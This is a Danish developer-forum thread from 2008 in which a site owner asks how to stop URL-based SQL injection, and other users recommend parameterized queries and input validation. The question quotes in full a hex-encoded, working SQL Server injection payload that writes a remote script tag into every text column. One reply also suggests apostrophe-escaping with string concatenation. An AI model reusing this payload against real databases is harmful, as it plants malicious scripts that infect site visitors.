Avatar billede torotune Nybegynder
26. juni 2008 - 09:08 Der er 15 kommentarer og
1 løsning

SQL Injection via URL'en

Hej,

Hvordan sikrer man sig mod sql-injection over URL'en? Jeg bliver konstant bombarderet med angreb som dettee:

www.side.dk/ID=5852;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E62696F7334372E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--

Og nu har der været "held" for hacker-botten eller hvad det er som kører automatisk, og hele databasen er blevet spammet med det iframe-script som er meget omtalt i tiden.

Jeg ved at man kan sikre sig ved at slå multiple queries fra i Sql Server-databasen, men Scannet hvor det er hostet siger at det ikke er noget de kan gøre.

Er der nogen der selv bliver busted med lignende og måske kender til en måde at sikre sig?

Mvh.
Avatar billede keysersoze Guru
26. juni 2008 - 09:19 #1
brug parameters når du laver dit sql.
Avatar billede torotune Nybegynder
26. juni 2008 - 09:29 #2
Det bruger jeg også, men det fraholder vel ikke hackeren fra at sætte et ; og så køre sit eget statement?

Ved du om det er muligt at slå multiple queries fra i SQL Server, og hvor man gør det?
Avatar billede aaberg Nybegynder
26. juni 2008 - 09:33 #3
Hvis du bruger parameters rigtigt, bør injection eksemplet du giver ikke kunne lade sig gøre.

SqlCommand.CommandText = "select * from table where id = @idParam";
SqlCommand.Parameters.Add("@idParam", int.Parse(queryStringParam));  --Her fejler den på dit eksempel, og inection koden bliver ikke kørt.
Avatar billede torotune Nybegynder
26. juni 2008 - 09:37 #4
Ok - det er rigtigt, men det er fordi jeg stadig har nogle gamle sider liggende der kører i classic ASP, men på samme SQL Server. Og her er der ikke parameters på - kan man overhovedet det? Det er den vej de kommer igennem, det eneste jeg har gjort ved de gamle sider er at sikre tekstboksene ved at lave en replace, så den vej kan der ikke komme noget igennem.
Avatar billede keysersoze Guru
26. juni 2008 - 09:45 #5
I asp vil det være en rigtig god idé i dit tilfælde at sikre at din querystring er en int - så undgår du det nuværende problem. Og så kan du også sagtens køre med parametre i ASP.
Avatar billede torotune Nybegynder
26. juni 2008 - 09:50 #6
Okay, hvordan kan jeg sikre at querystring'en er en Int? Skal der bruges parameters eller kan man nøjes med noget i retning af cInt(ID) ? For det er rigtig mange steder det skal rettes.
Avatar billede keysersoze Guru
26. juni 2008 - 10:00 #7
parameters vil altid være at foretrække - men en int/cint/isnumeric vil være nok for at undgå det værste lige nu.
Avatar billede softspot Forsker
26. juni 2008 - 10:04 #8
I klassisk ASP kan du benytte Command-objektet og parametre efter nogenlunde samme opskrift som i .NET.
Avatar billede softspot Forsker
26. juni 2008 - 10:15 #9
Eksempel:

set cmd = Server.CreateObject("ADODB.Command")
set cmd.ActiveConnection = ditConnectionObjekt
cmd.CommandText = "SELECT * FROM table WHERE id = ?"
cmd.Parameters.Append cmd.CreateParameter("@idParam", adInteger, adParamInput, 4, queryStringParam)
set rs = cmd.Execute()
Avatar billede torotune Nybegynder
26. juni 2008 - 10:49 #10
Okay - tak for eksemplet, det minder jo meget om .net-way. De gamle asp-sider laver noget a la denne:

conn.Execute("SELECT * FROM table WHERE id = " & request.querystring("ID") & ")

- Hvilket jo er noget usikkert! Men hvis jeg sikrer den på denne måde, inden jeg eksekverer, er det så ikke forsvarligt:

VarPageID = request.querystring("ID")

If isNumeric(VarPageID) = False Then
response.redirect("../error.asp?ID="&ID&"")
else

conn.Execute("SELECT * FROM table WHERE id = " & VarPageID & ")

End If
Avatar billede arne_v Ekspert
26. juni 2008 - 11:38 #11
Du skal jo også håndtere input som er string/varchar.

Parameters virker generelt.
Avatar billede torotune Nybegynder
26. juni 2008 - 14:31 #12
Jep, jeg tror jeg skal have kørt parameters på de gamle ASP-sider. Men til en start er det bare vigtigst at validere at alle querystrings er Integers når det er den vej der bliver forsøgt at komme igennem...
Avatar billede mikalj Nybegynder
27. juni 2008 - 12:16 #13
Som udgangspunkt skal du konverterer alle tal til en tal type
altså f.eks.
  int id = Convert.ToInt32(Request.QueryString["id"]);
  double maxvalue = Convert.ToDouble(Request.QueryString["maxval"]);
og alle strenge skal have "escaped" ' (apostrof) til noget som sql ikke misforstår, hvilket du går ved at udskifte apostrofer med to
  string search = Request.QueryString["search"].Replace("'", "''");

Når du så efterfølgende bygger din sql forespørgsel skulle resultatet gerne blive sikkert
  string sql = "SELECT * FROM table WHERE id = " + id;

Nu er ikke bekendt med asp syntaxen, men det er det grundliggende princip i at forebygge sql injection attacks. konverter tal til tal, og escape apostrof i strenge.
Forsøger man at Converte en streng som indeholder sql til et tal, vil det blive smidt en exception, og siden vil fejle. Ikke særligt pænt for brugeren, men din database er sikker. Desuden, kan man jo også være ligeglad med hackeres brugeroplevelse.

Som sagt, slipper du for dette hvis du bruger ADO.net til at forespørge din database.
  SqlCommand cmd = new SqlCommand("SELECT * FROM table WHERE id = @id", connection);
  cmd.Parameters.AddWithValue("@id", Request.QueryString["id"]);
Her tager sqlcommand objekter sig af at forhindre sql injection.
Avatar billede torotune Nybegynder
29. juni 2008 - 14:11 #14
mikalj -> Tak for beskrivelsen. Det er både smart og nemt at arbejde med parameters i ado.net så der er heller ikke nogen problemer med disse sider.

Jeg har lavet en replace på indholdet af inputfelter på de gamle asp-sider, selvom jeg synes det er en crappy løsning - mem disse sider vil nok stille uddø alligevel. Derudover har jeg tjekket for isnumeric på de gamle siders querystring også, så der bliver smidt en exception. Og ja, det kan være ret lige meget med en hackers brugeroplevelse..!

Smider I alle nogle svar?
Avatar billede aaberg Nybegynder
22. juli 2008 - 13:25 #15
Selvom mit bidrag til dette spørgsmål har været minimal og jeg i udgangspunktet ikke havde tænkt mig at smide et svar, gør jeg det alligevel. Det ser ikke ud til at der er andre der vil have points :-)

Så her er svaret.
Avatar billede torotune Nybegynder
05. august 2008 - 13:54 #16
Så må du hellere få points - og tak til alle der deltog :-)
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester